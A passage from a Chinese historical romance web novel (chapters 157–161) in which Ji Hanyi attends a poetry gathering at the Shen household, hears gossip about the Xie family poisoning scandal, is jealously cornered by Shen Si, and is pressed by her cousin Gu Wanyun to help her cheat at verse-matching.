张氏和顾宛云忽然见着了沈长龄窜出来,都被吓了一跳,又听旁边婆子恭声的喊三爷,这才明白过来面前这俊秀颀长,又带着几分笑的男子是谁。
想起上回还见过的,顾宛云也忙朝着沈长龄问了声安。
沈长龄却没注意到旁边朝他问好的顾宛云,眼神全落到季含漪身上,见着季含漪来,忙是欣喜的朝着季含漪道:“你果真来了,不枉我在这儿等你。”
“我可是央了母亲好久,才让母亲答应也将你邀来的。”
顾宛云见着沈长龄丝毫没有注意她,眼神全在自己表姐身上,心里头愣了愣,又默默不开口。
按理来说,自己现在得了沈老夫人的青睐,沈府的人该是更亲近她才是的,怎么眼里全是自己表姐,还特意在这儿等着表姐。
自己表姐如今和离了,早不是清白姑娘了,为什么这沈府的三爷还对表姐这么殷勤。
她暗暗看着,往后退了一步。
季含漪现在算是明白了,为何沈府的帖子会邀请自己,原是沈长龄去求的。
只是他求,该是明白如今沈府看重的应该是她三妹妹,却将她一块邀了来,倒不知会不会添了麻烦。
她心里微微叹息,又见着沈长龄等在这儿也是没想到,就问:“你为何在这儿等我?”
沈长龄朝着季含漪眨了两下眼睛,又笑道:“等不及告诉你件大喜过望的事情。”
季含漪便问:“什么事?”
沈长龄就道:"我们去那头说?"
季含漪想着这里还有大舅母和顾宛云等着她的,与沈长龄单独过去说话也是不好,不想闹出什么误会来,便道:"我们这会儿还要往后院去,她们怕是不好等我,可方便边走边说?"
沈长龄想着也不是什么外人听不得的事情,况且他刚才从季含漪那话里的意思也听明白了,她在避嫌,想着两人单独去说话也的确是不好,她才刚和离,名声重要,便一口答应下来:“边走边说也行。”
沈长龄生的高,身姿挺拔,又是沈府里唯一的武将,身上不同于其他男子那般雅致规整,相反身上有股洒脱气,叫人看着觉得没有那种高高在上难以接近的气场,相反会让人觉得很好说话。
顾宛云也忍不住往沈长龄身上看去好几眼,那身金色莲花的红衣将沈长龄衬得面如冠玉,不由想沈家男子当真个个都这般好看。
又看沈长龄低着头看着季含漪含笑,又捏紧了手。
沈
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府的后院曲径通幽,处处都是雅致的景色,沈长龄含笑的声音响起:“昨儿可出了件大事,那谢府养的表姑娘从一个西域商人那儿买了绝嗣药去谋害谢府大爷,然后那西域商人告到了我五叔那里,说那表姑娘没结清银子不认账,我五叔直接让人去谢府将那表姑娘抓了过来,那阵仗可真是响天动地。”
季含漪听了这话,不由想起之前谢玉恒找她说的那件事情,看来当真是真的。
沈长龄又继续开口:“你可不知道,我五叔将那表姑娘捉回去的时候,那表姑娘已经奄奄一息了,是被关在柴房里,是想让她自己饿死呢。”
“原来谢府的已经查出了真相,但是又不想让这件丑事传出去,便打算人后偷偷将这件事给解决了,哪里想那西域商人又找我五叔告了去呢。”
季含漪听了这话稍有些疑惑,谢府既然想要人后处理这件事情,必然也会安抚好那个西域商人,给他银子打发,怎么可能还拖欠着那西域商人的银子,非要让那西域商人闹到官府去。
又听沈长龄道:“你是不知晓在都察院的时候,那谢家人为了颜面,非说那表姑娘的确是去买了那等药,但是没用在谢玉恒的身上,是用在狗身上的,说谢玉恒的身体还是好好的,没半点问题。”
“感情将谢玉恒当成了狗。”
季含漪听到这里,倒是对谢家人这么说虽是有些惊诧,但也能想的明白。
估计是为了谢玉恒往后娶妻才这般说的,要是真的承认了谢玉恒吃了三年的那种药,身体不行了,不能有子嗣,谁家姑娘愿意嫁给谢玉恒。
再说,谢玉恒要是真的生不出来了,虽说占的是谢家长房嫡孙的身份,但他要是没有子嗣,谢家将来谁做主都说不定,说不定落二房去了,那谁还嫁谢玉恒。
更何况这还是家丑,是谢家大夫人带来的祸端,传出去了,谢家只怕要在京城内被津津乐道许多年,谢大夫人更是脸上无光。
第157章 沈肆有些凶的样子
季含漪是知晓谢家最是重名声的,谢家大老爷二老爷都是进士入仕的读书人,骨子里最是在乎颜面,就连谢玉恒也是在乎颜面的。
听沈长龄的话,谢家应该是打算无声无息的将李眀柔饿死后,再把这件事情轻轻掩盖过去,却是闹到了都察院,人尽皆知。
又想起那天碰到的谢锦来找她回去,又是做了什么打算。
跟在季含漪身边的还有顾宛云,她听了沈长龄的话不由的惊讶捂嘴道:“表姐不就是因为那表姑娘才与谢家大爷和离的么,怎么那表姑娘还会对谢大爷下那种药,”
季含漪对李眀柔做出这样的事情一点都不奇怪。
张氏在旁边说了句:“还能为着什么,为着让含漪三年无子被赶出去,不过手段也是够下作的。”
季含漪侧头问沈长龄:“那后头又是怎么审的?”
沈长龄笑道:"那谢家人不肯承认,就连谢玉恒都不承认那表姑娘是给他下的药,还说将那表姑娘关在柴房是她忽然发了疯症才关进去的。"
"谢家全都口径一致,我五叔总不能硬给那表姑娘治罪。"
“不过五叔当时就在堂上说了,那表姑娘是功臣遗孤,父辈受过嘉赏的,已经入了谢家的门就要好好对待,要是那表姑娘忽然暴毙,都察院的就会让仵作去好好查,要查个水落石出来,治谢家谋害功臣遗孤的罪。”
“要说那表姑娘还得感谢我五叔呢,妇人谋害夫君可是大罪,要处极刑的,我五叔还保了她一命呢。”
“现在这事京里都传开了,众说纷纭,那谢家人自己搬起石头砸自己脚,往后还要和那个给自己下药的表姑娘住在一起。”
“一想她们往后一辈子窝里斗来斗去的,实在是妙,想想我都觉得好笑的很。”
“下回我要是碰着了谢玉恒,必然得好好问问他,那新纳的妾室够不够善解人意,满不满意。”
季含漪听了沈长龄的这一番话,心里也是唏嘘。
有都察院的人盯着,谢家的人想让李眀柔消失都不容易,但也可想而知李眀柔往后在谢家的日子。
正在想着,又见沈长龄忽然弯腰凑来面前来,沈长龄那张脸庞放大,笑着看她:“还有,我听说谢玉恒被廷杖贬职了,成了个从八品的布政司照磨,还在我父亲手下呢。”
“漪妹妹,你现在觉得解气没有。”
沈长龄身上带着股年轻男子的阳气,弯着腰朝着她凑过来,眼睛弯弯含笑,黑眸里亮光清亮,叫季含漪看得愣了愣。
她在谢家那沉闷又规矩的牢笼里过了三年,已经许久没有见到这般恣意爽朗的人。
她的父亲曾也是这样的人。
她在失神里还没来得及说话,又听沈长龄一声哀嚎吃痛声,她才反应过来面前落下了一层阴影,抬头的瞬间,就见着沈肆站在自己面前,那双幽深的黑眸看着她,抬起的指尖上正捏在沈长龄的耳朵上。
沈长龄弯着腰,被五叔揪的连连吃痛,不由的求饶:“五叔,轻点……”
刚才还挺拔清隽的人,这会儿姿势别扭,脸上的五官都扭到了一起。
沈肆冷眼看着沈长龄,他都没来得及与季含漪说的话,被他给先说了。
又松了手,声音微冷:“又从营里告假回来了?”
沈长龄被五叔这眼神看得心里发毛,赶紧道:“母亲这两日有些小寒,我特意回来看望母亲的,顺便将这个好消息给季姑娘说。”
沈肆冷笑一声:“从前倒没瞧出来你这么有孝心。”
“这月你已经告了十来日的假了,这会儿赶紧给我回去,不然我告诉你父亲又从营里偷跑回来,让你父亲管教。”
沈长龄要说在这府里最怕谁,必然是他父亲了,小时候没少挨父亲的板子,可惜他始终读书不成器,别家爷读书不通就罢了,又没指望着光耀门楣,这事有他大哥就行了,他就想做个富贵的闲散子弟,偏偏父亲将他往军营里送去吃苦,还不许他回来。
但就算在军营,上官知晓他身份,与他称兄道弟,也知道他就是在军营混日子,也没管过他。
他平日里都是躲着父亲,让母亲给他做掩护的,这会儿听五叔
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要同父亲说他偷偷回来,只觉得天塌了。
他父亲可是能做出来直接从通政司骑马去军营,再将他揪到大庭广众下鞭打的人。
沈长龄也不知晓怎么这些日五叔总盯着他不放,从前五叔对他可是不闻不问的,哪里有空闲管管他的事情。
不过好在,今天好歹是见了漪妹妹一眼了,只怪自己时运不济,恰好碰着了五叔。
沈长龄赶紧卖乖:“五叔可千万别告诉我父亲,我现在就走。”
说着沈长龄还对着季含漪低低的匆匆留了句话:“季姑娘,等我后头给你来信。”
季含漪都没来得及开口,就看到沈长龄一溜烟的跑了。
等到她再回神的时候,就见着了沈肆正低头看着她,矜贵的面容面无表情,更还有些严肃的意味,那眼里的沉色更看得季含漪心里头也跟着颤了颤,仿佛又做错了什么事情。
她亲眼见着了沈肆刚才是如何训斥沈长龄的,心头也跟着一慌,又别开眼不想看沈肆这有些凶的样子。
只是此刻沈肆这般严肃的样子,却叫她乱糟糟的想起来沈肆光着上身的模样来,当时太过于紧张也没仔细看。
不过这会儿再见到沈肆,季含漪觉得比从前更紧张了。
站在旁边的张氏见着了沈肆来,脸上顿时喜不自胜,自己与女儿每每过来,总能碰着了沈侯爷,她想着哪里就有这么巧合的事情呢?那沈家老夫人做什么又忽然对自己女儿那般亲近呢。
说到底,定然是沈侯爷自己有那个意思。
这样一想,张氏赶紧将旁边还低着头害羞的顾宛云拉到自己身边来:“还愣着做什么?还不快来给沈侯爷问安?”
顾宛云自刚才沈肆过来,她偷偷瞧了一眼就不敢抬头看他了,沈肆一身玄衣,金冠束发,看起来高不可攀,她也不禁生了自卑,只敢看着他垂下的衣摆,心里噗噗直跳,手足无措,脑中一片空白,连要做什么都忘记了。
这会儿她被母亲这么一拉,这才咬着唇,大着胆子抬起头看向沈肆,声音如蚊:“问沈侯爷安。”
第158章 被沈肆抵在墙角
顾宛云声音响起的时候,沈肆的目光才这往站在她面前低眉顺目的顾宛云脸上看了一眼。
他抿了抿唇,未做回应。
另外一头沈大夫人白氏从另一条路过来,远远见着顾家的和季含漪还有沈肆站在一起,连忙赶紧迎过去,又笑道:“我说怎么半天没过来呢,原是在这儿站着说话。”
白氏说话的时候,还忍不住朝着沈肆看去一眼。
见着顾宛云正站在沈肆跟前,刚才像是在说什么话。
她知晓自己的这个小叔子,平里与自己老爷一样,最是将公务看得要紧,白日里是很少能看见在府里的,今日居然在。
又想着上一回也是这样,忽然就觉得自己做主的对。
邀顾家的来这件事她没问过老太太,想着做件叫老太太欢喜的事,上回老太太喜欢,这回见了顾家姑娘定然也喜欢。
她自然是带了点投机的心思,又看自己这小叔子竟也在,心里头也松了口气。
今日顾家来的事她还没与老夫人说,想着待会儿再领顾宛云去老夫人那儿见见。
白氏过来后,张氏又赶紧领着顾宛云与白氏问安。
白氏看着面前低头害羞的顾宛云,脸上带着满是亲近的笑意道:“没这些客套的,姑娘们在潇湘居等着呢,待会儿我叫人引着顾三姑娘和含漪先往潇湘居去,顾夫人就同我去老夫人那儿坐坐。”
张氏赶紧点头道:“沈夫人安排的妥当。”
白氏又看向旁边站着的沈肆,笑道:“五弟,可要一同去见见老夫人。”
沈肆瞟了一眼季含漪,只说了句:“不用。”
冷淡的眼神又看向白氏:“今日的这事,往后还请四嫂不要再擅作主张。“
说了这一句话,沈肆便转身离开。
白氏听着沈肆这冷淡的话,愣在原地半晌,脸上僵了僵。
今日的事情?
今日邀请顾家的事情?
白氏目光看向顾家的人,难不成是因为沈肆根本不喜欢顾家的姑娘,所以怪她了?
好似也是,这顾家三姑娘浑身上下看起来好似也没什么特别的地方,沈肆自小就是眼高于顶的性子,瞧不上顾宛云太正常了。
可既然没瞧上,老太太上回又做什么那般亲近?
不怪她想多,老太太一辈子养尊处优的人,都是人人来巴结她,可从来没有这般青睐一个姑娘的时候。
白氏心里也乱了,站在原地,一时不知道该怎么好,人都请来了,又怎么办?
又想,来都来了,先带去见见老太太,看看老太太那边的态度再说。
白氏心里想了一大圈,因为刚才沈肆的那一句话,对张氏的脸色也淡了淡,一边吩咐自己身边的大婆子去给季含漪引路,自己又带着张氏往老夫人那里去。
先去看看老夫人意思再说。
白氏浑身都装扮的贵气,看起来又是随和的性子,那行动做派都透出一股利落和大夫人的严厉,倒是叫张氏也觉得自己比起白氏身上的那股劲差了**,难怪能做沈府的大夫人。
她高高兴兴的跟在白氏身边去见沈老夫人,想着待会儿该怎么奉承。
只是跟着白氏去了,出来的婆子却只叫了白氏进去,将她留在了外头。
又没过一会儿,白氏脸色难看的出来,见了她在外头站着,也没说话,只让她进去。
张氏看着白氏这个神情,心情不由的就有点忐忑。
进了内屋,沈老夫人坐在上位,脸上早没了上回见的和蔼可亲了,只是淡淡的让她坐下。
张氏便忙问候一声又拘谨的坐下了。
沈老夫人抚着膝盖上的玳瑁猫,又眼神随意的看向张氏,缓缓的开口:“这回是我我儿媳邀了你们,你们既来了,便别拘谨。”
张氏赶紧点头:“老夫人慈悲,我们一来就觉得亲近呢。”
沈老夫人便不冷不热的嗯了声,又问张氏:“你家三姑娘可许配人了?”
张氏脸上一喜,心里激动,赶紧摇头:“还没呢。”
沈老夫人就点点头:“说起来
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我与那个丫头倒是有几分眼缘,等她将来许配人了,你倒是送个帖子来,我也给她添份嫁礼去,算我的一份心意。”
张氏听到这话,还以为自己听错了,整个人愣在了原地。
沈老夫人看着张氏的神色,也与她没话说了,就叫人将张氏送出去。
张氏浑浑噩噩走到外头,看着外头的光晕,整个人都差点晕倒下去。
—
这头季含漪就和顾宛云在一个大婆子的引路下往幽静处走,路上听那婆子讲潇湘居的位置。
只是正走时,前头忽然一只鸽子飞来,正落在顾宛云的发上,将她本精心梳妆的头发抓了好几丝下来。
顾宛云被吓得尖声叫了一声,婆子反应过来,赶紧叫人去赶,又等赶走了鸽子,又赶紧领着顾宛云往最近的厢房里去重新梳妆。
季含漪也没想到怎么会忽然飞来一只鸽子,见着婆子顾着安排引顾宛云往厢房去,也忙在后头也跟着。
只是她才往前走了几步,忽的被人一拉,身子不受控制的撞上一个温热的胸膛,又被一只宽大的手掌包裹住手,将她拉去了一旁阁楼下的墙边。
眼前昏昏暗暗一片,后背抵在微凉的阁楼墙面上,抬头的瞬间,是沈肆一手撑在她面庞,又低头朝她看来的模样。
早春上午的微风****,旁边是一颗歪斜生长的玉兰花树,再往远是假山池鱼与早春的杨柳,近处是青石小路,身后隐隐有路过的丫头说话的声音。
一切都猝不及防。
季含漪不敢出声。
沈肆拉她来的地方还是在外头,前头不远的小路上,随时可能有人经过,便是在这样紧张的心态下,即便沈肆的身体几乎已经快贴向她,她却连大气都不敢喘一声。
手掌也抵在凉凉墙面上,季含漪心里跳的飞快,面前视线被沈肆玄黑的胸膛尽数挡住,他身上沉香味道传来,像是带着满是侵略的力道,叫她招架不住,手心缓缓出了汗,耳根处亦在发热,又努力叫自己镇定。
第159章 他很想重重亲上去
现在还在外头,沈肆将她抵在这里,季含漪更明白不能胡思乱想。
只是她虽这般想,却抵不住身体的反应,又想起昨夜的事情来,不敢对上沈肆的眼睛,鼻尖上都觉得热出了一层薄汗来。
沈肆低头看向被自己抵在身前的季含漪,她低着头,目光微微偏着,身上是粉色折枝花纹的圆领衣,耳上今日戴了一对点翠钉珠的蓝色耳坠,耳坠在那白净又微粉的耳垂上轻晃,细眉处微微见着春日风月,朦朦胧胧的带着股素净的柔软,如丝丝细雨在她低垂眼底。
幽幽馨香传来,看着她那饱满唇瓣上那浅浅的牙印,还有她那染着薄粉的脸颊,沈肆看得喉间发紧,眼神却是晦涩又冷淡,沙哑的声音里带着两分的严肃:“你与长龄私下里在来往了?”
季含漪不明白沈肆这话是怎么问起来的,这才不过第二回见,但又不敢大了声音说,抬起头来小声摇头道:“没。”
沈肆眯着眼瞧着季含漪这不愿承认的模样,唇边忍不住含了抹淡淡的弧度来。
那双本就威严的凤眸眯起来,至少在现在季含漪的眼里,看起来是有些吓人的。
沈肆的目光像是能将人看透似的。
季含漪当真也是被沈肆的目光给吓住了,脸颊微微白了白,肩膀还往后缩了缩。
沈肆见着季含漪被吓着的模样一顿,他自来都是知晓季含漪是有几分怕他的,却没想到她这般怕他。
只是问了她一句话,她眼里便全是惊慌。
沈肆抿了抿了唇,不想当着季含漪的面将她与沈长龄通信的事情与她说出来,不然叫她觉得自己私底下也在看着她动静。
深吸了一口气,沈肆看着她继续问:“刚才长龄说给你去信,是什么意思?”
“你们私下里交往信件了?”
季含漪脑中空了,沈肆将她拉到这里,竟然是问她这个。
季含漪也如实的摇头道:“我也不知晓他什么意思。”
又将上回与沈长龄写信的事情与沈肆说了:“沈三公子替我去打听了陈太医的住处,顺便问了我去哪儿买字画,他说要送人,又问送什么合适,我便给他回了封信去。”
沈肆听到这里,深深看着季含漪的脸庞,他知晓她是不会在他面前撒谎的。
只是今日沈长龄歪头凑到季含漪面前,季含漪再看着沈长龄的那幕,叫他此刻心里头都翻涌着不快。
他第一次做出连自己都控制不了的动作,她将她拉在了这里。
他不喜欢她与任何男子接近,即便是沈长龄也不行。
他也更不喜欢她对旁的男子笑。
可这些心思却要被他义正言辞的掩盖过去,将她拉到这里质问,可早已慌乱的人却是他自己。
撑在季含漪脸庞边上的修长手指微微紧了紧,沈肆紧抿着唇,像是告诫又像是长辈的教导:“长龄整日里混迹在外头,还是少年心性,心也根本没有定下来。”
“况且他如今不思进取,不着落屋里,即便他将来成亲,他的妻也会很辛苦。"
说着沈肆又深深看了季含漪一眼:“他还脑子不行。”
季含漪愣了愣,明白过来沈肆的意思,他莫不是觉得自己对沈长龄有意。
季含漪瞪大眼睛赶紧解释:“沈大人误会了,我对沈三公子全没有那般心思的。”
沈肆低头静静听着季含漪的话,她抬眉的目光眼眸清澈,满是真诚,像是的确是那么回事。
只是她对着沈长龄笑过好几回,却没一回对他那般笑过。
她刚才还对着沈长龄失神了,难道在她眼里,自己还没有沈长龄好看么。
沈肆低头,低垂的眼睛紧紧看着季含漪,看得季含漪身上发紧,不知所措。
视线低垂,看向季含漪白净的脖子,他记得他昨夜还轻咬过那里,那时候他很想用力留下印记,证明她是自己的人,可是还是克制住了,她还没答应。
但她若是答应了,他很想重重的亲上去。
这般想着,沈肆的眼神不由变得幽暗,身体往往她稍微压了压,闻着她身上的软香,看着她晏晏细眉又沙哑道:“今日的诗会叫你三妹妹来,是我四嫂擅作主张,沈家并没有这个意思,你别多想。”
季含漪本来也想问沈肆这件事情的,但她并没有多想其他的,她就是觉得有些没理清楚。
季含漪抬头想开口,对上沈肆那压
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过来的眼神时又心里发慌,沈肆这时候面容离她很近,她想要后退都没法子,只紧捏着袖口道:“上回沈老夫人请我大舅母和三妹妹去,老夫人好似很喜欢我三妹妹。”
沈肆认真看了看季含漪的眸子,那眸子里唯有疑惑,并没有半点吃醋的意思,心里头不由还是有些苦涩的。
他耐心给她解释:“我母亲误会我对你三妹妹有意,不过那回我母亲就明白过来了,这回是我四嫂擅作主张,我母亲并没有要见顾家人的意思。”
“我母亲会与你大舅母说明白。”
季含漪听到这里明白了,一切也能想通了,又想起三表妹因为被邀过来脸上那欣喜羞涩的面容,心里头又有些惴惴。
还想要再问的时候,这时候前头不远处传来婆子的喊声:“季姑娘。”
那声音从远极近,季含漪便有些慌起来,她现在与沈肆两人之间的姿势实在是不好叫人看见,她不由紧张的抬头细声道:“有人在叫我,应该是我三妹妹收拾好了。”
季含漪的声音当真是很细的,细细软软的如羽毛,暖香扑来,沈肆低低看着她。
他看了她良久,看着她眼里迫切的想要离开的心思,看着她下意识肩膀后缩避开他的动作,还有她并不明显的,对他的躲避。
身后婆子喊她的声音越来越近,沈肆又默默看了季含漪一眼,其实这条路他叫人看着,即便婆子在喊,她也过来不了。
但也不想叫她害怕。
沈肆缓缓站直了身,他看着季含漪紧张的鼻尖都冒了小小的细汗,便也不忍心让自己的私心再将她留在自己怀里。
梦里想过无数种可能的姿势,就在这样隐秘的墙角里,她全身紧张的依偎着他,细白的手指攀着他的肩膀,露出香肩在他怀里细细的娇吟,又害怕被人瞧见的将身子紧紧往他身上贴。
沈肆闭着眼睛,喉结又滚了滚,身上冒出股热意来,身前她的馨香传来,他已情不自禁的闷哼了声。
季含漪听见沈肆的闷哼声愣了下,抬头的时候见着沈肆闭着眼睛,额头上冒层汗,像是极难受的模样,季含漪也不由担忧的问:“沈大人,你怎么了?”
第160章 对她向来是克制不住的
季含漪的声音压低,糯糯软音更如诱人的符咒,沈肆眯开眼睛,看着季含漪关切又清澈的眼眸,她粉色圆领衣内的白色交领下肌肤如雪,樱唇上的牙印还隐隐可见,眉眼如水,首饰简单的素发盘起来更看起来柔弱好欺负的很。
他指尖动了动,想要去碰季含漪的脸庞,又在半路上顿住。
他知晓面对季含漪他向来是克制不住的,一旦碰上他日思夜想的脸庞,会做出什么,连自己都无法控制。
沈肆沉了沉眼眸,放下撑在季含漪身边的手掌垂在身侧,又哑声道:“我没事,你从小路往前走,你放心,这里不会有人来。”
季含漪听了沈肆的声音,却没有马上走,有些担忧的看向沈肆:“可你……”
沈肆的脸色看起来好似有些难受……
沈肆看了一眼季含漪,低声道:“无妨,你先去。”
季含漪听着沈肆的声音,心间紧了下,还是无声的从沈肆身前离开,细碎的脚步匆匆顺着小路往前走。
沈肆看着季含漪的背影,匀称的粉色身形在两边的玉兰花树下渐渐模糊,他的视线才收回来,往另一边走。
这头季含漪才一从小路出去,就见着那引路婆子见着季含漪就忙迎过来:“可算找着您了,您刚才去哪儿了?”
季含漪便道:"刚才走在后头没跟上,不小心迷了路。"
说着季含漪朝着那婆婆福了个礼:“给嬷嬷添麻烦了。”
那婆子忙扶着季含漪道:“倒不必如此的,也没找多久,幸亏您走出来了,前头顾三姑娘还等着您了,这会儿过去吧。”
季含漪应了一声,跟着婆子往前走。
前头顾宛云正等着季含漪,见着季含漪过来了,心里头总算安心了。
沈府的婆子梳头的技巧极好,即便是重新梳了一回,也和之前的一模一样,她照着镜子照了许久,半点毛病挑不出来,心情才算好了些。
等去了潇湘居的时候,才刚踏进去,便带着一股暖香的雅致。
屋子里头传来含笑的说话声,应该是已经正开始了,坐着的姑娘们正热闹的相谈正欢,一共坐着十来人。
季含漪年少常来沈府,对沈府的姑娘还是有些了解,沈府还未出嫁的姑娘应该有三姑娘,四姑娘和五姑娘,其他的人应该有与沈府平日里交往的密切的世族高门姑娘,或许还有还有大房二房的孙媳。
不过许多年未见,季含漪也不怎么认得人了。
靠着门口的妇人注意到了她们,忙站起来,视线在季含漪和顾宛云身上转了转,旁边婆子适时的低声将季含漪与顾宛云介绍了一遍。
崔氏听罢,笑了一声,对着顾宛云就道:“原是顾三姑娘来了。”
又看向季含漪笑:“季姑娘,我听我婆婆提起过你,原是这般美的妙人。”
崔氏是长房白氏的长孙媳,父亲是户部尚书,通身贵妇人的气派有的,一身穿金戴银,看起来很年轻,又很亲切。
季含漪和顾宛云也忙福礼问好。
崔氏直接去挽了顾宛云的手,她知晓婆婆为什么会邀顾宛云来,说是老夫人看重的姑娘,虽说她也没瞧出有哪里不同的,但与她交好是没坏处的。
她领着顾宛云去一边坐,小声为她介绍着屋子里的姑娘,有太傅的孙女,有翰林的独女,还有侯府的女儿,还有她娘家的妹妹。
这些女子皆是出身高贵,顾宛云愣愣的听着,从前哪儿能认识这些出身的人?不免露了怯。
季含漪看崔氏先自顾自的挽着顾宛云走,心下也没什么计较,也跟在后头找了个位置坐下。
姑娘们正说金谷酒数的轶事,说的正兴致。
一位绿衣女子就笑着开口:“世说新语中,谢安以金谷比兰亭的旧典,好似是罚酒的规矩。”
另一位仪态端方的粉衣姑娘笑道:“我倒是也听过,不过《晋书》中的金谷,与兰亭曲水流觞的野趣又有些不同。”
屋内个个都说着自己的见解,顾宛云却在旁听得脸颊微微一白。
她们说的这些,她全不知晓,甚至从前从未听过,这边是沈家女子的才学么。
她的心慌了起来。
坐在顾宛云身边的崔氏看着她笑道:“顾三姑娘要不要也去说一说见解?”
顾宛云心底都在发抖,哪里敢张狂开口去闹笑话,她这会儿听了这一遭,已经觉得是如坐针毡,想着应该听表姐的话不该来的。
只怕她们说的这些,表姐也不一定明白。
这时候沈三姑娘沈素仪注意到了坐在自己大嫂旁的顾宛云,她前些日就听母亲说过了关于顾宛云的事情,也不能冷落了她。
屋子里还有人要说话,沈素仪却直接看向顾宛云,声音温和的含笑:“那位可是顾三姑娘?”
顾宛云见沈素仪叫她,忙站了起来回应了一声。
沈素仪就起身过来顾宛云身边,拉着她的手来自己身边去,又笑道:“刚才我们说的姐姐该听着了,可问问姐姐有何见解?”
这里都是书香大家的姑娘,为顾宛云在京城里打打名声也是好的,也能拉近与顾宛云的关系。
只是叫她没想到的是,顾宛云却小声开口道:“刚才我在想着其他事情,未听到各位姐妹们的话,怕是不能说了。”
又道:“不过我常与表姐探讨诗文典故,你可问问我表姐。”
季含漪顿了一下,看了眼不远处与沈素仪站在一块的顾宛云。
顾宛云却不敢看季含漪的眼睛,手指紧紧绞着手帕。
顾婉云想着季含漪的父亲当年才高八斗,也亲自教导季含漪读书,应该她也知晓一些的吧,若是她真的说出来了,自己常与她探讨,那旁人也会觉得她知晓了。
若她没说出来,丢脸的也不是她。
沈素仪也愣了下,随即视线往屋内看了一圈,才看到角落处坐着的季含漪。
只见着季含漪素净衣裳,却生的格外的漂亮,坐在那一处如同一张画似的,与她身后花架上的幽香兰草相得益彰。
她
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今年正十四,对季含漪只有个模模糊糊的印象,便也顺口笑道:“那季姐姐可有见解?"
季含漪抬起眼帘,唇边淡笑道:“各位姐妹学识渊博,从典章典故里考据精详,说的也周全,我听一番也受益良多,实无更多见解。”
说着季含漪缓缓温淡的声音又响起:“不过我倒是想起一桩旧事,从前我随父亲整理书房,曾见过一卷南疆遗书的摹本,其中恰有一首提及金谷宴游的诗句,不过用词质朴,与其他提及过的文章都不一样。"
"我想时风所尚,选家所好就是,各位妹妹说的都好。”
季含漪的话一落下,屋内静了一瞬。
那句时风所尚,选家所好,更是点睛一句。
更别说南疆遗书乃是极为冷僻的学问,莫说闺阁女子,就是寻常举子也未必知晓,可见季含漪的学问广泛。
众人的目光都落在了季含漪身上。
那个坐在最角落处,一身素淡秀丽的女子,宛如幽幽空谷兰花,被蒙了尘的珍珠,叫人刮目相看。
又细看她装扮,不过一身寻常裙裳,首饰简单,偏偏又相得益彰,通身的仪态看得出来是很好的,身段纤细有致,眉目如画,浑然天成。
其中林太傅的孙女林庄月认得季含漪,自己祖父曾经十分赞赏季含漪父亲的才华,经常邀请季含漪的父亲去府上煮酒谈天。
季含漪的父亲很宠爱她,时常将季含漪带在身边,虽说那时候自己才七八岁,但瞧见十二三岁的季含漪时,还是看得呆了呆,只觉得真白净好看,还偷偷躲在一边偷看她。
也不知季含漪还记不记得,她还去问过她当时戴的什么珠宝,用的什么香,头发又是怎么梳的,她觉得她一举一动都好看,身上不管穿戴什么也都好看,便想要学她。
那时候季含漪很温和,脾气很好,笑吟吟的与她一起分享,还夸她耳坠好看,说着下回两人戴一个样式的耳坠子。
不过再过一年,季含漪的家里出了事,两人再没见过,祖父也不许她过问季家的事情,如今时隔五六年再见,她还是如当年模样。
雕花窗户外,落下一层暗暗的阴影,旁边竹叶声沙沙,微暖的光线斑驳,落在窗外颀长高大的身形上。
沈肆目光落在季含漪坐着的背影上头,听着她不急不缓的声音,唇边缓缓带了一丝笑意。
他本来还有些担心她,还好,她虽说性子上有些软糯安静,但她在外人眼里,从来也没有失态过。
她既沉静又不争抢,自小到大好似对许多浮华的东西都不在意,但从前万事都有人为她将前路铺好,她的父亲很疼爱她,将她娇养在温和的窗台前,既让她能看见外头,又未叫她受过一丝风雨,所以养成了她现在的性子。
既娇嫩,又有几分见过场面的淡然。
她既会落泪脆弱,也会在脆弱里很快振作,再散发生机。
这是她身上最引人注目和吸引人的地方,看着柔弱的人,身上却有股韧性。
第161章 逞能
沈肆驻足许久,又见着屋内人过去拉着季含漪站在中间去说话,季含漪依旧从容应对,他又笑了笑,转身离去。
屋内的顾宛云怔怔看着季含漪被屋内那些高门书香世家里的姑娘围住,而她站在边缘处,却一句话也插不进去,更听不明白她们在说什么。
她忽然后悔了,后悔不该叫季含漪与她一起来的。
沈素仪站在季含漪跟前问:“可问姐姐见过的摹本,其中文字与如今进本可有异文?”
季含漪点头:“确有好几处异处,虚字用法稍异,意境也不同。”
“不过我研究并不多,不过年少时跟随父亲看过一些,好些也记不得了,只能说一些。”
顾宛云见着季含漪与那些女子的闲聊渐渐变成她更难明白的校雠与文字训诂,脸色就更是白了白,甚至从里到外都生出了一股羞耻来。
那头的确快说完了,沈素仪便又提议以芭蕉竹影为题,一人一联作诗。
几个姑娘纷纷应和,季含漪看向脸色微白的顾宛云,走到了她的身边,拉着她去一处无人的角落里低声道:“我们现在走还来得及,便说家中有事,她们不会说什么的。”
季含漪刚才与她们说了会儿话,便知晓这间小小屋子里的姑娘个个饱读诗书,才情与才华与普通的家女子已经不能一般比较了。
顾宛云即便能对上诗,也远不能入这些姑娘的眼,也远不是顾宛云能应付得了的。
但是顾宛云看着她,低声道:“可我若是走了,她们觉得我逃避该怎么办?”
“要不表姐要不帮我应对一回,替我对一句诗,我就说一句,这关过了我们就走。”
顾婉云还是有些不甘心,特别是刚才崔氏看她的眼神,那眼里满是疑惑和带着一丝看穿她的讽刺,叫她心生羞耻出来,就想要证明自己,叫她不能轻视。
想要让她刮目相看。
季含漪听了这话顿了下,顾婉云这是让她**,随即便低低皱眉道:“我即便这回替你应付过去了,下回我不在你怎么应付?”
“我们要么这会儿走,要么你如实的对诗,她们的才情是自小家族熏陶来的,读过太多的书,你即便比不上她们,也并不是一件丢人的事情。”
季含漪觉得及时止损,是现在更好的决定。
顾宛云却咬着唇道:“可我不想让别人失望。”
“不想叫沈家的人看轻我。”
季含漪一顿,还想再劝,想说沈家看不看轻并不重要,可沈素仪这时候却走到了身边来,握着顾宛云的手大方笑道:“刚才姐姐一直没有说话,这会儿便由姐姐起头吧。”
“顾姐姐说从前常与季姐姐一起探讨诗文,季姐姐已经那般厉害了,想顾姐姐更叫我们刮目相看的。”
众人也都往顾宛云身上看过去,显然沈素仪是这些人中领头的,沈素仪这般说,其他人也应和。
季含漪捏紧顾宛云的手提醒她别逞强,可顾宛云脸上含了笑应下来:“我也不过是献丑,但愿姐妹们呆会儿别笑话我。”
她面上笑着,背地里却紧张的扯着季含漪的裙摆。
顾宛云又道:“可有茶水?我先饮杯茶可好?”
沈素仪这才忙笑着让丫头快送茶来。
顾宛云喝茶时,微微侧着身用袖子挡着,眼神却看向了季含漪。
季含漪看着顾宛云祈求的眼神,眨着眼睛说她对不上来,心里不由对顾婉云升起一股失望来。
